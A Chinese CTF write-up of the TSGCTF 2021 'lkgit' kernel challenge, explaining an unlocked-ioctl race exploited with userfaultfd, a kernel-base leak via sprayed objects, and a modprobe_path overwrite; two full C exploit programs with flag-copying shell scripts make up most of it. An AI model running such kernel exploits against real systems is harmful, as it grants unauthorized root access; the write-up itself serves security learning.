当前位置: 首页 > news >正文

tsgctf-2021-lkgit-无锁竞争-userfaultfd

启动脚本

qemu-system-x86_64 \-kernel ./bzImage \-initrd ./rootfs.cpio \-nographic \-monitor /dev/null \-cpu kvm64,smep,smap \-append "console=ttyS0 kaslr oops=panic panic=1 quiet" \-no-reboot \-m 256M

题目

lkgit_hash_object

#define HASH_SIZE                 0x10
typedef struct {char hash[HASH_SIZE];char *content;	// 长度最大0x40char *message;	// 长度最大0x20
} hash_object;

从用户空间传递一个hash_object到内核

  • 内核分配一个hash_object对象,将用户态的hash_object拷贝进来
  • 内核分配一个content对象,将hash_object->content拷贝进来
  • 内核分配一个message对象,将hash_object->message拷贝进来
  • 根据content的内容计算出,hash,保存到内核的hash_object->hash
  • 并将hash赋值到用户态的hash_object->hash
  • 最后将内核态的hash_object保存到全局数组objects中
    • 先检查全局数组objects是否已经保存了相同hash的hash_object,有则先将hash_object释放,并置NULL
    • 然后再全局数组objects中找到一个元素为NULL的,存放进去
static long lkgit_hash_object(hash_object *reqptr) {long ret = -LKGIT_ERR_UNKNOWN;char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);	// 0x40char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object)))goto end;if (copy_from_user(content_buf, req->content, FILE_MAXSZ)|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))goto end;req->content = content_buf;req->message = message_buf;get_hash(content_buf, req->hash);if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {goto end;}ret = save_object(req);end:return ret;
}static void get_hash(char *content, char *buf) {int ix,jx;unsigned unit = FILE_MAXSZ / HASH_SIZE;char c;for (ix = 0; ix != HASH_SIZE; ++ix) {c = 0;for(jx = 0; jx != unit; ++jx) {c ^= content[ix * unit + jx];}buf[ix] = c;}
}static long save_object(hash_object *obj) {int ix;int dup_ix;// first, find conflict of hashif((dup_ix = find_by_hash(obj->hash)) != -1) {kfree(objects[dup_ix]);objects[dup_ix] = NULL;}// assign objectfor (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] == NULL) {objects[ix] = obj;return 0;}}return -LKGIT_ERR_UNKNOWN;
}static int find_by_hash(char *hash) {int ix;for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)return ix;}return -1;
}

lkgit_get_object

typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;

用户态传递过来的参数log_object

  • 内核获取用户态的log_object->hash
  • 在全局数组objects中,查找是否存在hash相同的hash_object元素
  • 将找到的hash_object元素的content,拷贝到用户态的log_object->content
  • 计算内核找到的hash_object元素content的hash,是否与用户参数中的log_object->hash,一致则
    • 内核找到的hash_object元素的content,拷贝给用户态
    • 内核找到的hash_object元素的hash,拷贝给用户态
static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];if (copy_to_user(req->content, target->content, FILE_MAXSZ))goto end;// validity check of hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))goto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE)) goto end;ret = 0;}end:return ret;
}

lkgit_amend_message

用户态传递过来的参数log_object

  • 内核获取用户态的log_object->hash
  • 在全局数组objects中,查找是否存在hash相同的hash_object元素
  • 将用户态的log_object->message,拷贝到内核局部变量buf中
  • 调用lkgit_get_object
  • 并将用户态log_object->message,拷贝到找到的hash相同的hash_object->message中
static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarilyif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))goto end;// return old information of objectret = lkgit_get_object(reqptr);// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);}end:return ret;
}

漏洞在哪里

单看,ioctl中的三个方法,好像都没有问题

  • lkgit_hash_object
  • lkgit_get_object
  • lkgit_amend_message

由于内核函数调用中没有加锁,查看是否存在竞争

结合异步并行调用+userfaultfd,再尝试看看没有没有问题

lkgit_hash_object

static long lkgit_hash_object(hash_object *reqptr) {long ret = -LKGIT_ERR_UNKNOWN;char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);	// 0x40char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object)))	// 【1】goto end;if (copy_from_user(content_buf, req->content, FILE_MAXSZ)|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ)) // 【2】goto end;req->content = content_buf;req->message = message_buf;get_hash(content_buf, req->hash);	// 【3】if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {	// 【4】goto end;}ret = save_object(req);end:return ret;
}
  • 通过userfaultfd,在【1】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other
  • 通过userfaultfd,在【2】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other
  • 通过userfaultfd,在【4】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other

lkgit_get_object

static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];if (copy_to_user(req->content, target->content, FILE_MAXSZ))	// 【1】goto end;// validity check of hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))	// 【2】goto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【3】goto end;ret = 0;}end:return ret;
}
  • 【1】,【2】,【3】在此处停下,通过调用lkgit_hash_object->save_object->kfree,释放hash_object,并用其他内核结构替换,获取可以获取一些内核信息

lkgit_amend_message

static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))	// 【1】goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarilyif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))goto end;// return old information of objectret = lkgit_get_object(reqptr);	// 【1】// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);	// 【2】}end:return ret;
}

lkgit_get_object类似,但是这个的【2】提供了一个往占位结构体写数据的功能,但这里略微复杂一点

// 1、在lkgit_hash_object中,先申请kmalloc-32的message slab-1
message:0x0-0x70x8-0xF0x10-0x170x18-0x1F
// 2、在lkgit_hash_object中,再申请kmalloc-32的hash_object slab-2
// 2-1、之前存储在objects中的kmalloc-32的 hash_object slab-0会被释放
// 3、再次调用lkgit_hash_object,slab-0,会被message占据
// 4、这时就可以通过lkgit_hash_object内部的copy_from_user(message_buf),修改 hash_object->message
// 5、通过lkgit_amend_message中的【1】找到这个结构体
// 6、通过lkgit_amend_message中的【2】修改hash_object->message指向的内容
typedef struct {char hash[HASH_SIZE];char *content;	// 长度最大0x40char *message;	// 长度最大0x20
} hash_object;

利用

  • 先创建一个内核hash_object,并挂到内核objects数组下
  • 调用lkgit_get_object,触发缺页处理
    • 在缺页处理内部调用lkgit_hash_object,触发kfree
    • 使用shm_file_data进行占位
    • 读取内核指针,获取内核基地址
    • 从而得到modprobe_path的地址
  • 调用lkgit_amend_message,触发缺页处理
    • 修改hash_object->message 的地址为modprobe_path的地址
    • 通过memcpy(target->message, buf, MESSAGE_MAXSZ);重写modprobe_path的内容

exp1 - 这个蛮好看的

#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>#define LKGIT_HASH_OBJECT 0xdead0001
#define LKGIT_AMEND_MESSAGE 0xdead0003
#define LKGIT_GET_OBJECT 0xdead0004#define FILE_MAXSZ 0x40
#define MESSAGE_MAXSZ 0x20
#define HASH_SIZE 0x10typedef struct
{char hash[HASH_SIZE]; // 0x10char *content;        // 0x8char *message;        // 0x8
} hash_object;typedef struct
{char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;typedef struct
{long uffd;unsigned long long page_start;void *(*wp_fault_func)(void *);void *(*read_fault_func)(void *, struct uffdio_copy*);
} userfd_callback_args;int lkgit_fd;
pthread_t uffd_thread;char fileContent1[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char fileMessage1[] = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
char hash1[0x10];unsigned long modprobe_path;void errout(char *msg)
{perror(msg);exit(-1);
}void *userfd_thread_func(void *args)
{struct uffd_msg msg;userfd_callback_args *cb_args = (userfd_callback_args *)args;struct pollfd pollfd = {.fd = cb_args->uffd,.events = POLLIN};while (poll(&pollfd, 1, -1) > 0){if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)errout("polling error");if (!(pollfd.revents & POLLIN))continue;if (read(cb_args->uffd, &msg, sizeof(msg)) == 0)errout("read uffd event");printf("Userfault event\n");printf("======================================================================\n");if (msg.event & UFFD_EVENT_PAGEFAULT)printf("PAGEFAULT : %p / Flags %p\n", (void *)msg.arg.pagefault.address, msg.arg.pagefault.flags);long long addr = msg.arg.pagefault.address;long long page_begin = addr - (addr % 0x1000);// Check for write protected write faultif (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP){printf("UFFD_PAGEFAULT_FLAG_WP\n");// If defined, call write protect fault handlerif(cb_args->wp_fault_func)cb_args->wp_fault_func(cb_args);// set page to not write protected to unlock kernelstruct uffdio_writeprotect wp;wp.range.start = cb_args->page_start;wp.range.len = 0x2000;wp.mode = 0;printf("[+] Send !UFFDIO_WRITEPROTECT event to userfaultfd\n");printf("======================================================================\n\n");fflush(stdout);if (ioctl(cb_args->uffd, UFFDIO_WRITEPROTECT, &wp) == -1){errout("ioctl(UFFDIO_WRITEPROTECT)");}continue;}// Page wasn't touched by now, so fill itprintf("UFFDIO_COPY\n");char buf[0x1000];struct uffdio_copy cp = {.src = (long long)buf,.dst = (long long)addr,.len = (long long)0x1000,.mode = 0};// If defined, call read protect fault handlerif(cb_args->read_fault_func)cb_args->read_fault_func(cb_args, &cp);if (ioctl(cb_args->uffd, UFFDIO_COPY, &cp) == -1){perror("ioctl(UFFDIO_COPY)");}printf("[+] Sent UFFDIO_COPY event to userfaultfd\n");printf("======================================================================\n\n");fflush(stdout);}return NULL;
}userfd_callback_args* register_userfaultfd(unsigned long long mode, void *(*wp_fault_func)(void *), void *(*read_fault_func)(void *, struct uffdio_copy*))
{printf("\n");printf("Register userfaultdfd\n");printf("======================================================================\n");// setup userfault fdint uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1){perror("syscall");exit(-1);}int uffd_flags = fcntl(uffd, F_GETFD, NULL);printf("[+] Userfaultfd registered : FD %d / Flags: %p\n", uffd, uffd_flags);struct uffdio_api uffdio_api = {.api = UFFD_API,.features = 0};if (ioctl(uffd, UFFDIO_API, &uffdio_api)){perror("UFFDIO_API");exit(-1);}printf("[+] Userfaultfd api : Features %p\n", uffdio_api.features);char* userfault_region = mmap(NULL, 0x1000 * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);if (!userfault_region){perror("mmap");exit(-1);}// 页对其if (posix_memalign((void **)userfault_region, 0x1000, 0x1000 * 2)){fprintf(stderr, "cannot align by pagesize %d\n", 0x1000);exit(1);}printf("[+] Userfaultfd region : %p - %p", userfault_region, userfault_region + 0x1000 * 2);struct uffdio_register uffdio_register;uffdio_register.range.start = (unsigned long long)userfault_region;uffdio_register.range.len = 0x1000 * 2;uffdio_register.mode = mode;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1){perror("ioctl(UFFDIO_REGISTER)");exit(1);}printf("[+] Userfaultfd region registered: ioctls %p\n", uffdio_register.ioctls);userfd_callback_args *cb_args = malloc(sizeof(userfd_callback_args));cb_args->uffd = uffd;cb_args->wp_fault_func = wp_fault_func;cb_args->read_fault_func = read_fault_func;cb_args->page_start = (unsigned long long)userfault_region;pthread_create(&uffd_thread, NULL, userfd_thread_func, cb_args);printf("[+] Userfaultfd process thread started: %p\n", uffd_thread);printf("======================================================================\n\n");    return cb_args;
}void unregister_userfaultfd(userfd_callback_args* args) {printf("\n");printf("Unregister userfaultdfd\n");printf("======================================================================\n");struct uffdio_range uf_range = {.start = args->page_start,.len = 0x2000};if (ioctl(args->uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) errout("unregistering page for userfaultfd");if (munmap(args->page_start, 0x2000) == -1)errout("munmapping userfaultfd page");close(args->uffd);pthread_cancel(uffd_thread);printf("[+] userfaultfd unregistered\n");printf("======================================================================\n\n");
}// take a snapshot of a file.
char snap_file(char *content, char *message, char *out_hash)
{hash_object req = {.content = content,.message = message,};if (ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0){printf("[ERROR] failed to hash the object.\n");}memcpy(out_hash, &req.hash, 0x10);return 0;
}void spray_shmem(int count, int size) {puts("[+] spray shmem structs");int shmid;char *shmaddr;for (int i = 0; i < count; i++){if ((shmid = shmget(IPC_PRIVATE, size, 0600)) == -1){perror("shmget error");exit(-1);}shmaddr = shmat(shmid, NULL, 0);if (shmaddr == (void *)-1){perror("shmat error");exit(-1);}}
}void *break_on_read_leak(void *args, struct uffdio_copy *uf_buf)
{userfd_callback_args *cb_args = args;puts("Userfault: break_on_read");    printf("[+]Delete current object by storing one with the same hash\n");snap_file(fileContent1, fileMessage1, &hash1);printf("[+] Create a shmem struct in the freed object");spray_shmem(1, 0x20);    
}void *break_on_read_overwrite(void *args, struct uffdio_copy *uf_buf)
{userfd_callback_args *cb_args = args;// Write address of modprobe_path to hash_object->messageunsigned long* lptr = fileMessage1+0x18;*lptr = modprobe_path;// Reallocate files, so that current object is freed and our message will overwrite current object to control its message pointersnap_file(fileContent1, fileMessage1, &hash1);snap_file(fileContent1, fileMessage1, &hash1);// Put the content into UFFDIO_COPY src argument (which will be copied to message pointer)char mod[] = "/home/user/copy.sh";memcpy(uf_buf->src, mod, sizeof(mod));      
}int main()
{// Prepare modprobe_path exploitationsystem("echo -ne '#!/bin/sh\n/bin/cp /home/user/flag /home/user/flag2\n/bin/chmod 777 /home/user/flag2' > /home/user/copy.sh");system("chmod +x /home/user/copy.sh");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");system("chmod +x /home/user/dummy");lkgit_fd = open("/dev/lkgit", O_RDWR);// 创建一个log_object对象printf("[+] Create initial file in lkgit\n");snap_file(fileContent1, fileMessage1, hash1);// kernel base泄露printf("[+] Register userfaultfd\n");userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_leak);printf("[+] Request file, and let it break on copying back message\n");log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on messagememcpy(&req->hash, hash1, 0x10);ioctl(lkgit_fd, LKGIT_GET_OBJECT, req); // page fault 错误,先执行 break_on_read_leak(1、删除object 2、堆喷占据对象),再读取堆喷数据unsigned long kernel_leak = *((unsigned long*)(req->hash + 0x8));modprobe_path = kernel_leak - 0x131ce0;printf("[+] Kernel leak   : %p\n", kernel_leak);printf("[+] modprobe_path : %p\n", modprobe_path);unregister_userfaultfd(uffdargs);// 任意地址写printf("[+] Register new userfaultfd\n");uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_overwrite);// Align the request object, so that lkgit_amend_message will pagefault on reading new messageioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, uffdargs->page_start+0x1000-0x10-0x40);close(lkgit_fd);// Execute modprobe_path exploitationsystem("/home/user/dummy");system("cat /home/user/flag2");
}

exp2

/****************** Full exploit of lkgit.*****************/#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <netinet/in.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>#include "../src/include/lkgit.h" // commands#define DEV_PATH "/dev/lkgit" // the path the device is placed
#define ulong unsigned long
#define scu static const unsigned long#// constants
#define PAGE 0x1000
#define NO_FAULT_ADDR 0xdead0000
#define FAULT_ADDR 0xdead1000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)// globals
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int lkgit_fd;
char buf[0x400];
unsigned long len = 2 * PAGE;
void *addr = (void *)NO_FAULT_ADDR;
void *target_addr;
size_t target_len;
int tmpfd[0x300];
int seqfd;
struct sockaddr_in saddr = {0};
struct msghdr socketmsg = {0};
struct iovec iov[1];ulong single_start;
ulong kernbase;ulong off_single_start = 0x01adc20;
ulong off_modprobepath = 0x0c3cb20;
// (END globals)// utils
#define WAIT getc(stdin);
#define errExit(msg)        \do                      \{                       \perror(msg);        \exit(EXIT_FAILURE); \} while (0)
ulong user_cs, user_ss, user_sp, user_rflags;/** module specific utils **/char *hash_to_string(char *hash)
{char *hash_str = calloc(HASH_SIZE * 2 + 1, 1);for (int ix = 0; ix != HASH_SIZE; ++ix){sprintf(hash_str + ix * 2, "%02lx", (unsigned long)(unsigned char)hash[ix]);}return hash_str;
}char *string_to_hash(char *hash_str)
{char *hash = calloc(HASH_SIZE, 1);char buf[3] = {0};for (int ix = 0; ix != HASH_SIZE; ++ix){memcpy(buf, &hash_str[ix * 2], 2);hash[ix] = (char)strtol(buf, NULL, 16);}return hash;
}void print_log(log_object *log)
{printf("HASH   : %s\n", hash_to_string(log->hash));printf("MESSAGE: %s\n", log->message);printf("CONTENT: \n%s\n", log->content);
}
/** END of module specific utils **/void *conflict_during_fault(char *content)
{// commit with conflict of hashchar content_buf[FILE_MAXSZ] = {0};char msg_buf[MESSAGE_MAXSZ] = {0};memcpy(content_buf, content, FILE_MAXSZ); // hash became 00000000000...hash_object req = {.content = content_buf,.message = content_buf,};printf("[.] committing with conflict...: %s\n", content);assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));
}// userfaultfd-utils
static void *fault_handler_thread(void *arg)
{puts("[+] entered fault_handler_thread");static struct uffd_msg msg; // data read from userfaultfd// struct uffdio_copy uffdio_copy;struct uffdio_range uffdio_range;struct uffdio_copy uffdio_copy;long uffd = (long)arg; // userfaultfd file descriptorstruct pollfd pollfd;  //int nready;            // number of polled events// set poll informationpollfd.fd = uffd;pollfd.events = POLLIN;// wait for pollputs("[+] polling...");while (poll(&pollfd, 1, -1) > 0){if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)errExit("poll");// read an eventif (read(uffd, &msg, sizeof(msg)) == 0)errExit("read");if (msg.event != UFFD_EVENT_PAGEFAULT)errExit("unexpected pagefault");printf("[!] page fault: %p\n", (void *)msg.arg.pagefault.address);// Now, another thread is halting. Do my business.char content_buf[FILE_MAXSZ] = {0};if (target_addr == (void *)NO_FAULT_ADDR){puts("[+] first: seq_operations");memset(content_buf, 'A', FILE_MAXSZ);conflict_during_fault(content_buf);puts("[+] trying to realloc kfreed object...");if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0){errExit("open seq_operations");}// trashuffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);uffdio_range.len = PAGE;if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)errExit("ioctl-UFFDIO_UNREGISTER");}else{printf("[+] target == modprobe_path @ %p\n", (void *)kernbase + off_modprobepath);strcpy(content_buf, "/tmp/evil\x00");conflict_during_fault(content_buf);puts("[+] trying to realloc kfreed object...");long *buf = calloc(sizeof(long), sizeof(hash_object) / sizeof(long));for (int ix = 0; ix != sizeof(hash_object) / sizeof(long); ++ix){buf[ix] = kernbase + off_modprobepath;}char content_buf[FILE_MAXSZ] = {0};char hash_buf[HASH_SIZE] = {0};strcpy(content_buf, "uouo-fish-life\x00");hash_object req = {.content = content_buf,.message = (char *)buf,};assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));// write evil messageputs("[+] copying evil message...");char message_buf[PAGE] = {0};strcpy(message_buf, "/tmp/evil\x00");uffdio_copy.src = (unsigned long)message_buf;uffdio_copy.dst = msg.arg.pagefault.address;uffdio_copy.len = PAGE;uffdio_copy.mode = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)errExit("ioctl-UFFDIO_COPY");}break;}puts("[+] exiting fault_handler_thrd");
}void register_userfaultfd_and_halt(void)
{puts("[+] registering userfaultfd...");long uffd;     // userfaultfd file descriptorpthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel threadstruct uffdio_api uffdio_api;struct uffdio_register uffdio_register;int s;// create userfaultfd file descriptoruffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libcif (uffd == -1)errExit("userfaultfd");// enable uffd object via ioctl(UFFDIO_API)uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)errExit("ioctl-UFFDIO_API");// mmapaddr = mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.printf("[+] mmapped @ %p\n", addr);if (addr == MAP_FAILED || addr != target_addr)errExit("mmap");// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)// first stepif (target_addr == (void *)NO_FAULT_ADDR){uffdio_register.range.start = (size_t)(target_addr + PAGE);uffdio_register.range.len = PAGE;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;}else{// second stepuffdio_register.range.start = (size_t)(target_addr + PAGE);uffdio_register.range.len = PAGE;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;}// uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protectionif (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)errExit("ioctl-UFFDIO_REGISTER");s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);if (s != 0){errno = s;errExit("pthread_create");}puts("[+] registered userfaultfd");
}
// (END userfaultfd-utils)int main(int argc, char *argv[])
{puts("[.] starting exploit...");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil");system("chmod +x /tmp/evil");system("chmod +x /tmp/nirugiri");lkgit_fd = open(DEV_PATH, O_RDWR);if (lkgit_fd < 0){errExit("open");}// register uffd handlertarget_addr = (void *)NO_FAULT_ADDR;target_len = 2 * PAGE;register_userfaultfd_and_halt();sleep(1);log_object *log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));printf("[.] target addr: %p\n", target_addr);printf("[.] log:         %p\n", log);// sprayputs("[.] heap spraying...");for (int ix = 0; ix != 0x90; ++ix){tmpfd[ix] = open("/proc/self/stat", O_RDONLY);}// commit a file normalychar content_buf[FILE_MAXSZ] = {0};char msg_buf[MESSAGE_MAXSZ] = {0};char hash_buf[HASH_SIZE] = {0};memset(content_buf, 'A', FILE_MAXSZ); // hash became 00000000000...strcpy(msg_buf, "This is normal commit.\x00");hash_object req = {.content = content_buf,.message = msg_buf,};assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));memset(content_buf, 0, FILE_MAXSZ);strcpy(content_buf, "/tmp/evil\x00"); // hash is 46556c00000000000000000000000000strcpy(msg_buf, "This is second commit.\x00");assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));// try to get a log and invoke race// this fault happens when copy_to_user(to = message), not when copy_to_user(to = content).memset(log->hash, 0, HASH_SIZE);assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log) == 0);print_log(log);// kernbase leaksingle_start = *(unsigned long *)log->hash;kernbase = single_start - off_single_start;printf("[!] single_start: %lx\n", single_start);printf("[!] kernbase: %lx\n", kernbase);// prepare for race again.target_len = PAGE * 2;target_addr = (void *)NO_FAULT_ADDR + PAGE * 2;register_userfaultfd_and_halt();sleep(1);// amend to race/AAWlog = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));memcpy(log->hash, string_to_hash("46556c00000000000000000000000000"), HASH_SIZE); // hash is 46556c00000000000000000000000000puts("[.] trying to race to achive AAW...");int e = ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log);if (e != 0){if (e == -LKGIT_ERR_OBJECT_NOTFOUND){printf("[ERROR] object not found: %s\n", hash_to_string(log->hash));}else{printf("[ERROR] unknown error in AMEND.\n");}}// nirugiriputs("[!] executing evil script...");system("/tmp/nirugiri");system("cat /home/user/flag");printf("[.] end of exploit.\n");return 0;
}

参考

https://ctftime.org/writeup/30739
https://kileak.github.io/ctf/2021/tsg-lkgit/
https://blog.smallkirby.com/posts/lkgit/

相关文章:

  • 电路设计(15)——篮球赛24秒违例倒计时报警器的proteus仿真
  • Flink从入门到实践(二):Flink DataStream API
  • 【深度学习】S2 数学基础 P1 线性代数(上)
  • Shell - 学习笔记 - 2.12 - Shell获取数组长度
  • MySQL篇----第二十二篇
  • 测试OpenSIPS3.4.3的lua模块
  • Docker容器监控-CIG
  • YOLOv5改进 | 一文汇总:如何在网络结构中添加注意力机制、C3、卷积、Neck、SPPF、检测头
  • 论文阅读-Pegasus:通过网络内一致性目录容忍分布式存储中的偏斜工作负载
  • 【云原生进阶之PaaS中间件】第三章Kafka-4.2-生产者工作原理剖析
  • PCIE Order Set
  • 中小学信息学奥赛CSP-J认证 CCF非专业级别软件能力认证-入门组初赛模拟题第一套(完善程序题)
  • uni-app 经验分享,从入门到离职(年度实战总结:经验篇)——上传图片以及小程序隐私保护指引设置
  • django中查询优化
  • docker 2:安装
  • [iOS]Core Data浅析一 -- 启用Core Data
  • CentOS7简单部署NFS
  • Laravel核心解读--Facades
  • nfs客户端进程变D,延伸linux的lock
  • vue和cordova项目整合打包,并实现vue调用android的相机的demo
  • 初探 Vue 生命周期和钩子函数
  • 对超线程几个不同角度的解释
  • 技术:超级实用的电脑小技巧
  • 前端_面试
  • 浅谈JavaScript的面向对象和它的封装、继承、多态
  • 容器服务kubernetes弹性伸缩高级用法
  • 1.Ext JS 建立web开发工程
  • Linux权限管理(week1_day5)--技术流ken
  • 新年再起“裁员潮”,“钢铁侠”马斯克要一举裁掉SpaceX 600余名员工 ...
  • ​ 全球云科技基础设施:亚马逊云科技的海外服务器网络如何演进
  • ​ 无限可能性的探索:Amazon Lightsail轻量应用服务器引领数字化时代创新发展
  • ​​​​​​​GitLab 之 GitLab-Runner 安装,配置与问题汇总
  • ​人工智能之父图灵诞辰纪念日,一起来看最受读者欢迎的AI技术好书
  • !!【OpenCV学习】计算两幅图像的重叠区域
  • #define用法
  • #NOIP 2014# day.1 T3 飞扬的小鸟 bird
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • %check_box% in rails :coditions={:has_many , :through}
  • (WSI分类)WSI分类文献小综述 2024
  • (二)springcloud实战之config配置中心
  • (附程序)AD采集中的10种经典软件滤波程序优缺点分析
  • (三)Pytorch快速搭建卷积神经网络模型实现手写数字识别(代码+详细注解)
  • (十三)Java springcloud B2B2C o2o多用户商城 springcloud架构 - SSO单点登录之OAuth2.0 根据token获取用户信息(4)...
  • (一)插入排序
  • (一)认识微服务
  • (转)Android中使用ormlite实现持久化(一)--HelloOrmLite
  • .bat批处理(二):%0 %1——给批处理脚本传递参数
  • .NET Core 成都线下面基会拉开序幕
